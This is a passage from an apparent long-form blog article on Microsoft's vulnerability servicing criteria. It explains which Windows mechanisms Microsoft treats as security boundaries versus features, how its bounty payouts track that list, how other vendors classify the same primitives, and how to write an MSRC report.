&lt;p&gt;Russinovich&apos;s June 2007 sentence is the doctrinal source: &lt;em&gt;&quot;UAC elevations are conveniences and not security boundaries&quot;&lt;/em&gt; [@russinovich-vista-uac-wayback]. The structural reason is the shared-resources model -- same SID, same profile, same logon session, same DOS device object directory between the standard-user and elevated tokens. UACMe is the operational catalogue: more than 80 documented auto-elevation methods, zero CVEs [@uacme]. The reply to a UAC bypass report is &quot;by design, please refer to the servicing criteria,&quot; and that reply is operationally correct.&lt;/p&gt;
&lt;h3&gt;8.2 Driver Signing / Code Integrity / KMCS&lt;/h3&gt;
&lt;p&gt;Local administrator can, by design, install drivers. Once a driver is installed, it runs in kernel mode. Classifying admin-to-kernel as a boundary would require redesigning the Administrators group itself. The downstream operational consequence is the &lt;a href=&quot;https://paragmali.com/blog/windows-kernel-code-integrity-2006-2026/&quot; rel=&quot;noopener&quot;&gt;BYOVD attack family&lt;/a&gt;: an administrator installs a legitimately-signed driver with an exploitable vulnerability and uses the driver to obtain arbitrary kernel-mode code execution. Microsoft maintains the &lt;em&gt;Vulnerable Driver Blocklist&lt;/em&gt; as feature hardening, and the Windows Defender Application Control (WDAC) infrastructure as a tighter enforcement option, but those are features layered over a primitive Microsoft has not classified as a boundary [@leviev-downdate-update].&lt;/p&gt;
&lt;h3&gt;8.3 Microsoft Defender / Antimalware&lt;/h3&gt;
&lt;p&gt;A heuristic detection layer cannot, by construction, be a boundary. Antivirus operates by recognising patterns -- signature, behaviour, reputation -- and an adversary tuning a payload against those patterns can always find a path that the detector does not recognise.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A boundary requires that &quot;security policy dictates what can pass through.&quot; Heuristic detection cannot meet that requirement. There is no policy oracle that can decide, in finite time with finite memory, whether an arbitrary binary will exhibit malicious behaviour. The decision problem is undecidable in the general case (Rice&apos;s theorem); in practice antivirus is a probabilistic filter, not a guarantee. Microsoft&apos;s classification of Defender as a feature acknowledges this constraint. Defender will be improved, hardened, and updated -- but the doctrine does not promise that it will &lt;em&gt;catch&lt;/em&gt; any specific malware. Bypassing Defender is expected and continuous, and a Defender-bypass report on its own does not earn a CVE.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tavis Ormandy&apos;s 2014 to 2017 Defender disclosures earned CVEs not because they bypassed Defender&apos;s detection but because they crossed &lt;em&gt;other&lt;/em&gt; boundaries [@ms-advisory-4022344]. The bugs were memory-corruption primitives in the Defender parsing engine reachable from attacker-controlled inputs the engine fetched from email or web traffic. The flagship example is CVE-2017-0290, the &lt;em&gt;crazy bad&lt;/em&gt; MsMpEng RCE Microsoft addressed with out-of-band Security Advisory 4022344 on May 8, 2017 [@ms-advisory-4022344]. The network boundary crossing is what earned the CVE.This is the operational lesson for anyone reporting a Defender finding: lead with the boundary, not the feature. If your bypass is a clever signature evasion, expect a &quot;by design&quot; reply. If your bypass is a parsing-engine memory-corruption primitive that fires from attacker-controlled input arriving over the network, that is a network-boundary crossing and you have a CVE-eligible report.&lt;/p&gt;
&lt;h3&gt;8.4 HVCI / Memory Integrity&lt;/h3&gt;
&lt;p&gt;The doctrinally subtle one. &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;HVCI&lt;/a&gt; is the kernel-mode code integrity check that lives &lt;em&gt;inside&lt;/em&gt; VTL1, running under the protection of the hypervisor. The VTL boundary is what protects HVCI from attacker tampering. HVCI itself is a &lt;em&gt;feature&lt;/em&gt; enforced &lt;em&gt;at&lt;/em&gt; the VTL boundary, not a boundary in its own right.&lt;/p&gt;
&lt;p&gt;The operational consequence: an HVCI bypass that does not also cross VTL0 to VTL1 is a feature defeat. Critical-severity HVCI bypasses may still ship as security updates through the exception clause -- but the primary disposition path is feature-hardening rather than boundary-servicing. Microsoft&apos;s &lt;em&gt;Virtualization-based protection of code integrity&lt;/em&gt; page documents the architecture in detail and is the canonical reference [@ms-learn-vbs-ci].&lt;/p&gt;
&lt;h3&gt;8.5 Protected Process Light (PPL)&lt;/h3&gt;
&lt;p&gt;Introduced in Windows 8.1 to protect anti-malware services and other specially-signed processes from administrator tampering [@ms-learn-am-ppl]. PPL uses code integrity to refuse unsigned code injection into protected processes, and refuses termination requests even from administrators.&lt;/p&gt;
&lt;p&gt;Gabriel Landau&apos;s PPLFault chain demonstrated loading unsigned code into a PPL process by racing the kernel&apos;s signature check against attacker-controlled storage during catalog load -- the False File Immutability primitive [@landau-pplfault], [@landau-ffi-elastic]. Microsoft&apos;s response was the Canary build 25941 mitigation on September 1, 2023 -- feature hardening that ships out-of-cycle when the impact warrants it, &lt;em&gt;not&lt;/em&gt; boundary-class servicing. Landau&apos;s article preserves the verbatim MSRC position.&lt;/p&gt;

The PPL mechanism was introduced in Windows 8.1, enabling specially-signed programs to run in such a way that they are protected from tampering and termination, even by administrative processes ... Microsoft does not consider PPL to be a security boundary, meaning they won&apos;t prioritize security patches for code-execution vulnerabilities discovered therein, but they have historically addressed some such vulnerabilities on a less-urgent basis. -- Gabriel Landau, Elastic Security Labs, September 2023 [@landau-pplfault]
&lt;h3&gt;8.6 Administrator-to-kernel privilege escalation&lt;/h3&gt;
&lt;p&gt;The structural impossibility argument applies cleanly here. By Saltzer-Schroeder&apos;s &lt;em&gt;complete mediation&lt;/em&gt; principle [@saltzer-schroeder-mit], a boundary requires that every access through it be mediated by policy. Administrators are policy-authorised to load drivers; drivers run in kernel mode; therefore admin-to-kernel is the &lt;em&gt;expected&lt;/em&gt; operation, not a policy violation. Reclassifying this as a boundary would mean redesigning the Administrators group itself.&lt;/p&gt;
&lt;p&gt;The Landau &lt;em&gt;ItsNotASecurityBoundary&lt;/em&gt; GitHub repository name is an explicit homage to this Microsoft policy [@landau-itsnotasb-gh]. The repository&apos;s research extends False File Immutability into kernel space: the Windows Code Integrity subsystem (&lt;code&gt;ci.dll&lt;/code&gt;) is itself susceptible to FFI, letting an attacker who controls a catalog file on attacker-controlled storage race the CI signature check and then load unsigned drivers. Microsoft fixed the specific FFI primitive but did not move the admin-to-kernel classification.&lt;/p&gt;
&lt;p&gt;Alon Leviev&apos;s Windows Downdate is the recent flagship demonstration. Microsoft assigned CVE-2024-21302 to the chain because it crossed the VTL boundary; the underlying Windows Update takeover -- the admin-to-kernel piece -- remained unpatched [@leviev-downdate-update]. The classification stood. Specific chains earn CVEs when they cross another boundary; the primitive itself does not become a boundary by accumulation of exploitation evidence.&lt;/p&gt;

While CVE-2024-21302 was patched because it crossed a defined security boundary, the Windows Update takeover which was reported to Microsoft as well, has remained unpatched, as it did not cross a defined security boundary. Gaining kernel code execution as an Administrator is not considered as crossing a security boundary (not a vulnerability). -- Alon Leviev, SafeBreach Labs, October 26, 2024 [@leviev-downdate-update]
&lt;h3&gt;8.7 Same-user post-authentication&lt;/h3&gt;
&lt;p&gt;The most recent addition to the feature table, articulated by James Forshaw in &lt;em&gt;Working your way Around an ACL&lt;/em&gt; (June 3, 2024). Once a process has executed under a user&apos;s session, it inherits the user&apos;s trust. Per-process isolation within the same user is not a declared boundary. Forshaw&apos;s verbatim formulation: &lt;em&gt;&quot;any privilege escalation (or non-security boundary &lt;em&gt;cough&lt;/em&gt;) is sufficient to leak the information&quot;&lt;/em&gt; [@forshaw-tyranid-acl].&lt;/p&gt;
&lt;p&gt;The operational stakes here are higher than they look. AI-mediated features like Windows 11 Recall continuously record sensitive user state into a same-user-readable database. If same-user is not a boundary, every non-PPL local process under the same user identity can read that database. The &quot;ACLed to SYSTEM&quot; mitigation that protects the Recall storage is operationally weak under the doctrine, because &lt;em&gt;any&lt;/em&gt; same-user privilege escalation -- including the entire UACMe catalogue, all of the same-user-post-authentication footguns, and every UI-Access trick -- is a sufficient predicate.&lt;/p&gt;

flowchart TD
    Report[&quot;Vulnerability report arrives&quot;]
    Cls{&quot;Classify primitive&quot;}
    BdyQ2{&quot;Boundary path: severity Critical or Important?&quot;}
    FtrQ2{&quot;Feature path: severity Critical or Important?&quot;}
    Excp{&quot;Exception applies?&quot;}
    SvcBdy[&quot;Boundary servicing: Patch Tuesday CVE&quot;]
    SvcFtr[&quot;Feature servicing: Patch Tuesday CVE (Q2 yes path)&quot;]
    SvcExc[&quot;Exception servicing: feature hardening, possible bulletin&quot;]
    Defer[&quot;By design / consider for next version&quot;]
    Report --&amp;gt; Cls
    Cls -- &quot;Boundary&quot; --&amp;gt; BdyQ2
    Cls -- &quot;Feature&quot; --&amp;gt; FtrQ2
    BdyQ2 -- &quot;Yes&quot; --&amp;gt; SvcBdy
    BdyQ2 -- &quot;No&quot; --&amp;gt; Excp
    FtrQ2 -- &quot;Yes&quot; --&amp;gt; SvcFtr
    FtrQ2 -- &quot;No&quot; --&amp;gt; Excp
    Excp -- &quot;Yes&quot; --&amp;gt; SvcExc
    Excp -- &quot;No&quot; --&amp;gt; Defer
&lt;p&gt;The central insight: the not-a-boundary table is &lt;em&gt;not&lt;/em&gt; a list of bugs Microsoft has not gotten around to fixing. It is a list of primitives Microsoft has &lt;em&gt;deliberately&lt;/em&gt; chosen not to commit to, because guaranteeing those primitives as boundaries would require either reorganising the architecture (admin-to-kernel) or operating against an inherent impossibility (heuristic detection cannot guarantee detection).&lt;/p&gt;
&lt;p&gt;Nine boundaries that Microsoft commits to. Seven features Microsoft hardens but does not commit to. One remaining structural artifact ties the two together: the bounty schedule.&lt;/p&gt;
&lt;h2&gt;9. The Bounty Schedule Mirrors the Boundary List&lt;/h2&gt;
&lt;p&gt;If you wanted a market-side confirmation that the boundary list is the operational anchor, you would look at the bounty schedule. The two documents are mechanically linked.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bounty program&lt;/th&gt;
&lt;th&gt;Payout range&lt;/th&gt;
&lt;th&gt;Primary boundary (or boundaries)&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft Hyper-V Bounty Program&lt;/td&gt;
&lt;td&gt;$5,000 to $250,000 USD&lt;/td&gt;
&lt;td&gt;Virtual machine (guest-to-host)&lt;/td&gt;
&lt;td&gt;[@msrc-bounty-hyperv]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Windows Insider Preview Bounty Program&lt;/td&gt;
&lt;td&gt;$500 to $100,000 USD&lt;/td&gt;
&lt;td&gt;Kernel, network, sandbox, VBS / VTL&lt;/td&gt;
&lt;td&gt;[@msrc-bounty-wip]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft Edge Bounty Program&lt;/td&gt;
&lt;td&gt;$250 to $30,000 USD&lt;/td&gt;
&lt;td&gt;AppContainer / sandbox, network&lt;/td&gt;
&lt;td&gt;[@msrc-bounty-edge]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Microsoft Bounty Programs (landing)&lt;/td&gt;
&lt;td&gt;Varies by program&lt;/td&gt;
&lt;td&gt;Identity, Cloud, M365, Azure (cloud-side boundaries)&lt;/td&gt;
&lt;td&gt;[@msrc-bounty-root]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Standalone UAC bypass bounty&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;(UAC is on the feature list, no bounty)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Hyper-V is the highest payout.&lt;/strong&gt; Up to $250,000 USD for a guest-to-host escape, which is the largest single-finding payout in the Microsoft bounty catalogue [@msrc-bounty-hyperv]. The program&apos;s verbatim definition of an eligible submission is a remote-code-execution vulnerability that lets an L1 guest virtual machine compromise the hypervisor, escape from the guest to the host, or escape to another L1 guest. That maps directly to the VM boundary on the servicing-criteria table. The market signal is unambiguous: the boundary whose violation matters the most pays the most.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Windows Insider Preview is the kernel / network / VBS catch-all.&lt;/strong&gt; Up to $100,000 USD for vulnerabilities found on the latest Canary Channel build, with the eligibility requirement that the vulnerability &quot;must be Critical or Important severity as defined in the Microsoft Vulnerability Severity Classification for Windows&quot; [@msrc-bounty-wip]. That severity requirement is the &lt;em&gt;Question 2&lt;/em&gt; gate from the two-question rule, written directly into the bounty&apos;s eligibility clause. The bounty program inherits Question 2 mechanically.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft Edge is the sandbox program.&lt;/strong&gt; Up to $30,000 USD for Edge-unique vulnerabilities (not reproducing on the equivalent Google Chrome channel) in the Dev, Beta, or Stable channels [@msrc-bounty-edge]. The &quot;unique to Edge&quot; requirement reflects that Chromium engine bugs upstream are Google Chrome&apos;s bounty scope; the Microsoft Edge program covers the Edge-specific shell, AppContainer integration, and Windows integration code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The absence of a UAC bounty.&lt;/strong&gt; There is no standalone UAC bypass bounty program. Not because Microsoft does not care about UAC bypasses, but because UAC is not on the boundary list -- the market signal follows the doctrine.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The bounty schedule is the most reliable cross-check available for the boundary list. Reading the bounty page is a reasonable proxy for reading the boundary list, because Microsoft only pays for findings that violate primitives the company has committed to defending. The absence of a UAC bounty, the presence of a $250,000 Hyper-V tier, and the Critical-or-Important severity gate baked into the Windows Insider Preview bounty are all consequences of the servicing-criteria classification. The classification drives the payout. The payout reveals the classification.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The mapping is &lt;em&gt;dominantly&lt;/em&gt; tight, not &lt;em&gt;strictly&lt;/em&gt; tight. The exception clause from the servicing criteria applies here too: a sufficiently impactful feature defeat may receive an out-of-band bounty under the broader Microsoft Bounty Programs umbrella [@msrc-bounty-root]. But the structural mapping is consistent enough that the bounty page is a fair proxy for the classification.&lt;/p&gt;
&lt;p&gt;You have now read the doctrine in full. Two tables, one rule, one bounty overlay. The next question is the one the doctrine itself cannot answer: where are the gaps?&lt;/p&gt;
&lt;h2&gt;10. What the Doctrine Cannot Decide&lt;/h2&gt;
&lt;p&gt;The doctrine is the most enumerated vulnerability-classification policy any major OS vendor has published. It still has gray zones.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Resourcing versus security.&lt;/strong&gt; Microsoft&apos;s admin-to-kernel position is at least partly a &lt;em&gt;resourcing&lt;/em&gt; decision: finite engineering capacity to harden the admin elevation path. The structural impossibility argument (admin loads drivers; drivers run in kernel) is genuine, but it does not by itself force the classification -- a sufficiently invasive architectural change (sealed-system mode; VTL Enclaves hosting the entire kernel) could in principle move the line. What &quot;guaranteed by Windows&quot; means in a model that admits BYOVD, Windows Downdate, and False File Immutability is a question reasonable researchers can disagree on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Severity-meets-bar as the second filter.&lt;/strong&gt; Two findings that cross the same boundary can receive different fates depending on Question 2. The Bug Bar [@msrc-bugbar] documents the &lt;em&gt;types&lt;/em&gt; of severity (RCE, EoP, info disclosure, DoS, spoofing, tampering) and the &lt;em&gt;pivots&lt;/em&gt; (server vs client; default-on vs default-off; user interaction required vs not), but the thresholds within each type are not exhaustively published. A researcher who knows the boundary list still cannot, from the document alone, predict severity to single-step accuracy.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The &quot;exceptions may be made&quot; clause.&lt;/strong&gt; The doctrine itself admits exceptions exist. PPLFault shipped a feature-hardening mitigation in Canary build 25941 [@landau-pplfault] even though PPL is a feature; CVE-2024-21302 received a Patch Tuesday bulletin even though the underlying admin-to-kernel primitive remained on the feature side [@leviev-downdate-update]. Researchers cannot fully predict the MSRC reply from the document alone; the exception clause is structural relief, not an edge case.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Boundary classification of paths, not just components.&lt;/strong&gt; Administrator Protection is the elevation &lt;em&gt;path&lt;/em&gt;, not the account [@ms-learn-admin-protection]. Admin-to-kernel via driver load is still not a boundary even when the elevation path is. The two coexist: a researcher who finds a way for a standard-user process to obtain an SMAA elevated token without consent has a CVE-eligible boundary crossing; a researcher who finds a way for an &lt;em&gt;administrator&lt;/em&gt; process to install a vulnerable driver and pivot to kernel has a feature defeat.&lt;/p&gt;

Saltzer and Schroeder&apos;s 1975 *The Protection of Information in Computer Systems* [@saltzer-schroeder-mit] articulates the *open design* principle: the security design should be public, &quot;the mechanisms should not depend on the ignorance of potential attackers.&quot; A published classification doctrine like Microsoft&apos;s satisfies open design. Their *complete mediation* principle is the other constraint at work: a boundary requires that every access through it be mediated by policy. The Microsoft doctrine lives precisely in the gap between *enumerable* (an upper bound: a published doctrine must list the boundaries it commits to) and *complete* (a lower bound: no doctrine can list every primitive that will ever matter). The &quot;exceptions may be made&quot; clause is the doctrine&apos;s explicit acknowledgment of the gap.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The doctrine does not promise that every reported finding will be serviced. It does not promise that severity thresholds are publicly enumerated to single-step accuracy. It does not promise that the boundary list will not grow or contract. It does not promise that two reports against the same primitive at the same severity will receive identical disposition. What it promises is that the &lt;em&gt;classification half&lt;/em&gt; of the triage will follow the published list, and that the &lt;em&gt;exception clause&lt;/em&gt; exists as the explicit relief valve when the published list does not fit. The promise is procedural, not absolute. That procedural promise is what makes the doctrine more legible than any comparable vendor policy.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Microsoft&apos;s doctrine has gray zones -- but it has more enumerated certainty than any comparable doctrine. How does it compare to Apple&apos;s, Chromium&apos;s, Mozilla&apos;s, and the Linux kernel&apos;s?&lt;/p&gt;
&lt;h2&gt;11. How Other Vendors Classify the Same Primitives&lt;/h2&gt;
&lt;p&gt;Microsoft&apos;s document is one of five major published doctrines. Each draws the line differently.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vendor&lt;/th&gt;
&lt;th&gt;Taxonomic structure&lt;/th&gt;
&lt;th&gt;Primary URL&lt;/th&gt;
&lt;th&gt;Example divergence from Microsoft&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Microsoft&lt;/td&gt;
&lt;td&gt;Enumerated boundary + feature tables; two-question rule&lt;/td&gt;
&lt;td&gt;[@msrc-criteria]&lt;/td&gt;
&lt;td&gt;The Microsoft baseline&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Apple (macOS / iOS)&lt;/td&gt;
&lt;td&gt;Architectural-by-section; sealed system + SIP&lt;/td&gt;
&lt;td&gt;[@apple-platform-security]&lt;/td&gt;
&lt;td&gt;SIP classifies admin-to-OS-modification as a boundary&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chromium&lt;/td&gt;
&lt;td&gt;Design-time &lt;em&gt;Rule of 2&lt;/em&gt;; severity guidelines for triage&lt;/td&gt;
&lt;td&gt;[@chromium-rule-of-2]&lt;/td&gt;
&lt;td&gt;Design-time pre-commitment, not post-hoc classification&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mozilla&lt;/td&gt;
&lt;td&gt;sec-rating (sec-critical / sec-high / sec-moderate / sec-low)&lt;/td&gt;
&lt;td&gt;[@mozilla-client-bounty]&lt;/td&gt;
&lt;td&gt;Severity-only, no primitive enumeration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux&lt;/td&gt;
&lt;td&gt;Per-subsystem implicit classification&lt;/td&gt;
&lt;td&gt;[@linux-security-bugs]&lt;/td&gt;
&lt;td&gt;No central table; maintainer-driven&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Apple&apos;s Platform Security Guide.&lt;/strong&gt; A sealed-system / Signed System Volume model with stricter user/kernel separation. macOS System Integrity Protection (SIP) restricts the root user account and limits the actions root may perform on protected parts of the OS [@apple-sip-ht204899]. Some admin-to-system-modification paths that Windows classifies as features (Driver Signing, Code Integrity, admin-to-kernel) are classified by SIP as boundaries the OS protects against modification, &lt;em&gt;including&lt;/em&gt; by the local administrator. The Apple guide is less enumerated than Microsoft&apos;s -- it organises by section rather than by table -- but it commits to architectural separations that the open-driver-loading Windows model cannot match [@apple-platform-security].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Chromium&apos;s Rule of 2 plus Severity Guidelines.&lt;/strong&gt; A &lt;em&gt;design-time&lt;/em&gt; pre-commitment, fundamentally different from Microsoft&apos;s post-hoc triage. The Rule of 2 states: &lt;em&gt;&quot;When you write code to parse, evaluate, or otherwise handle untrustworthy inputs from the Internet ... Pick no more than 2 of: untrustworthy inputs; unsafe implementation language; and high privilege&quot;&lt;/em&gt; [@chromium-rule-of-2]. Code that violates the rule must be sandboxed before it ships. Site isolation (each origin in its own renderer process) is the operational boundary equivalent. The Severity Guidelines parameterise triage with a Critical (S0) / High / Medium / Low scheme [@chromium-severity-guidelines].The Chromium Rule of 2 and Microsoft&apos;s servicing criteria are not substitutes -- they live at different layers. The Rule of 2 is an &lt;em&gt;engineering&lt;/em&gt; rule that forecloses entire vulnerability classes at design time. The Microsoft doctrine is a &lt;em&gt;triage&lt;/em&gt; rule that classifies findings at disclosure time. A Chromium project can adopt both, and Microsoft Edge does.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mozilla&apos;s Client Bug Bounty Program.&lt;/strong&gt; A severity-only rating: sec-critical, sec-high, sec-moderate, sec-low. The bounty page states verbatim: &lt;em&gt;&quot;Typically, the security rating given by the Bounty Committee for a bug must be rated a &apos;sec-high&apos; or &apos;sec-critical&apos; in order for it to be eligible for a bounty&quot;&lt;/em&gt; [@mozilla-client-bounty]. There is no published boundary enumeration. The Bounty Committee&apos;s judgment is the deciding factor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Linux kernel security-bugs process.&lt;/strong&gt; Per-subsystem, not per-boundary. The verbatim policy: &lt;em&gt;&quot;By definition if an issue cannot be reproduced, it is not exploitable, thus it is not a security bug&quot;&lt;/em&gt; [@linux-security-bugs]. CVE assignment runs through the kernel&apos;s CVE Numbering Authority since 2024. There is no Linux equivalent of the MSRC servicing-criteria document; classification is implicit in the maintainer&apos;s response.&lt;/p&gt;
&lt;p&gt;Microsoft&apos;s document is the most enumerated, most operationally legible vulnerability-classification doctrine published by any major OS vendor. That legibility is itself a vendor commitment, and is what makes &quot;by design&quot; a predictable answer rather than an arbitrary one. All five doctrines agree that boundaries exist. They disagree on which primitives count, how to enumerate them, and how to communicate the result. Microsoft has chosen the most-enumerated point in that gap. The next question is whether the enumeration will keep growing.&lt;/p&gt;
&lt;h2&gt;12. The 2026 Frontier&lt;/h2&gt;
&lt;p&gt;The boundary list grew by accretion for twenty years. Four pressures are pushing the next additions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Cloud-side boundaries.&lt;/strong&gt; Conditional Access policy enforcement (Microsoft Entra), the Primary Refresh Token (PRT), and the Microsoft 365 service boundary that Copilot operates within. These are not currently in the Windows servicing criteria -- they are governed by separate MSRC documents and per-product bounty programs [@msrc-bounty-root]. Modern Windows attack chains routinely involve both client-side (Windows) and cloud-side (Entra / Azure) primitives. A finding that crosses a &lt;em&gt;cloud-side&lt;/em&gt; boundary may or may not also cross a &lt;em&gt;client-side&lt;/em&gt; boundary, and the Windows document does not yet arbitrate.&lt;/p&gt;
&lt;p&gt;The open question is whether the Windows servicing criteria document will expand to cover cloud-side primitives, or whether a parallel &lt;em&gt;Microsoft Identity Security Servicing Criteria&lt;/em&gt; document will appear. The bounty pages function as a &lt;em&gt;derived&lt;/em&gt; boundary list today -- reading them tells a researcher which cloud-side primitives Microsoft commits to servicing -- but the unified document does not yet exist.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Agentic / AI-mediated privilege expansion.&lt;/strong&gt; Copilot in Windows and Copilot for Microsoft 365 can take actions on behalf of a user. Prompt injection from untrusted content can cause Copilot to perform actions the user did not intend. Is that a boundary crossing?&lt;/p&gt;

A prompt-injected Copilot action operates *within* the user&apos;s identity and the user&apos;s authorisations. By the same-user-post-authentication classification, that should be a feature defeat, not a boundary crossing. But the *intent* the user expressed (summarise my email; do not exfiltrate it) is defeated by the injected prompt. The doctrine was designed to classify primitives in terms of policy-enforced separations, not in terms of user-intent-vs-attacker-intent. The MITRE ATT&amp;amp;CK framework has begun to enumerate prompt-injection-class techniques [@mitre-attack]; the Microsoft document has not yet. Whichever way Microsoft decides -- a new boundary entry, a new feature entry, or a deferral -- will be the most consequential doctrinal move since the 2025 Administrator Protection addition.
&lt;p&gt;&lt;strong&gt;Administrator Protection rollout resumption.&lt;/strong&gt; The December 2025 revert was an application-compatibility decision; the boundary classification stands [@ms-learn-admin-protection]. What would have to be true for the rollout to resume: Win32 application compatibility validated across the long tail, Visual Studio elevation flows verified, the WebView2 installer regression resolved [@ms-blogs-admin-protection-dev]. What stays the same when it does: Forshaw&apos;s nine pre-GA bypasses all fixed; the elevation path still on the boundary side.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Same-user as a possible new boundary.&lt;/strong&gt; The Recall disclosure and the broader same-user post-authentication class push on this question. The community position, articulated by Forshaw, is that same-user should not be expected to be a boundary [@forshaw-tyranid-acl]. Microsoft&apos;s response has been &lt;em&gt;feature hardening&lt;/em&gt; (Personal Data Encryption, VTL Enclave use) rather than reclassification.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If VTL Enclaves and Personal Data Encryption become a per-user attestable substrate -- a per-user equivalent of VTL1 -- then &lt;em&gt;same-user&lt;/em&gt; could become a boundary in the same way &lt;em&gt;user-to-user&lt;/em&gt; already is. The structural ingredient that VTL1 added to the user boundary (hypervisor-mediated separation that even SYSTEM cannot cross) would be added to a per-process scope within a user&apos;s identity. This is a research-track conjecture, not a Microsoft commitment; no public Microsoft statement has confirmed the direction. But the &lt;em&gt;shape&lt;/em&gt; of how same-user could become a boundary is now legible, in a way it was not before Administrator Protection demonstrated that re-using an existing boundary (user-to-user) for a new primitive (the SMAA elevation path) is a viable engineering pattern.&lt;/p&gt;
&lt;/blockquote&gt;

flowchart LR
    subgraph Existing[&quot;Existing boundaries (current doctrine)&quot;]
        Net[&quot;Network&quot;]
        Krn[&quot;Kernel&quot;]
        Prc[&quot;Process&quot;]
        Sess[&quot;Session&quot;]
        Usr[&quot;User&quot;]
        AC[&quot;AppContainer&quot;]
        VM[&quot;Virtual machine&quot;]
        VTL[&quot;VTL0 to VTL1&quot;]
        AP[&quot;Administrator Protection&quot;]
    end
    subgraph Ingredients[&quot;Structural ingredients pushing the frontier&quot;]
        PRT[&quot;Primary Refresh Token&quot;]
        CA[&quot;Conditional Access policy&quot;]
        PI[&quot;Prompt injection primitives&quot;]
        PDE[&quot;Personal Data Encryption&quot;]
        Enc[&quot;VTL Enclaves&quot;]
    end
    subgraph Candidate[&quot;Candidate future boundaries&quot;]
        Cloud[&quot;Cloud-side: PRT / Conditional Access&quot;]
        AI[&quot;AI-mediated action expansion&quot;]
        SU[&quot;Same-user per-process&quot;]
    end
    Usr --&amp;gt; PRT
    Usr --&amp;gt; CA
    PRT --&amp;gt; Cloud
    CA --&amp;gt; Cloud
    PI --&amp;gt; AI
    Sess --&amp;gt; PI
    PDE --&amp;gt; SU
    Enc --&amp;gt; SU
    VTL --&amp;gt; Enc
&lt;p&gt;None of these candidates is on the table yet. All four are being pushed by primitives -- the Primary Refresh Token, prompt injection, Administrator Protection, the Recall directory ACL -- that have already shipped. The next decade&apos;s boundary list is being negotiated now, in real research posts and MSRC replies. The question is how &lt;em&gt;you&lt;/em&gt; file a report into that negotiation.&lt;/p&gt;
&lt;h2&gt;13. How to File a Useful MSRC Report&lt;/h2&gt;
&lt;p&gt;Everything in this article has been theory until this section. Here is how the doctrine becomes a checklist you can apply to your own findings before the submit button.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Read the servicing-criteria document first&lt;/strong&gt; [@msrc-criteria]. Map your finding to a boundary entry. If it does not map, expect a feature-defeat reply. If it maps cleanly, you know in advance that the disposition path goes through Question 2.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Lead the MSRC submission with the boundary claim in the first sentence.&lt;/strong&gt; &lt;em&gt;&quot;This issue violates the [process | kernel | session | network | user | AppContainer | VM | VTL | Administrator Protection] boundary because &lt;code&gt;&amp;lt;reason&amp;gt;&lt;/code&gt;.&quot;&lt;/em&gt; The triage engineer reading your report should never have to infer which boundary you are claiming. Name it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Include the severity-meets-bar argument in the second paragraph.&lt;/strong&gt; Critical / Important / Moderate / Low per the Bug Bar [@msrc-bugbar]. Cite the specific bug-type cell (RCE, EoP, info disclosure, DoS, spoofing, tampering) and the pivot (server vs client; default-on vs default-off; user interaction required vs not). Worked examples beat assertions.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;If the finding crosses a feature &lt;em&gt;and&lt;/em&gt; a boundary, lead with the boundary.&lt;/strong&gt; The feature defeat is supporting evidence, not the primary claim. A Defender bypass that also crosses the network boundary is a network-boundary report with a Defender defeat as supporting detail, not the other way around.&lt;/p&gt;
&lt;/li&gt;
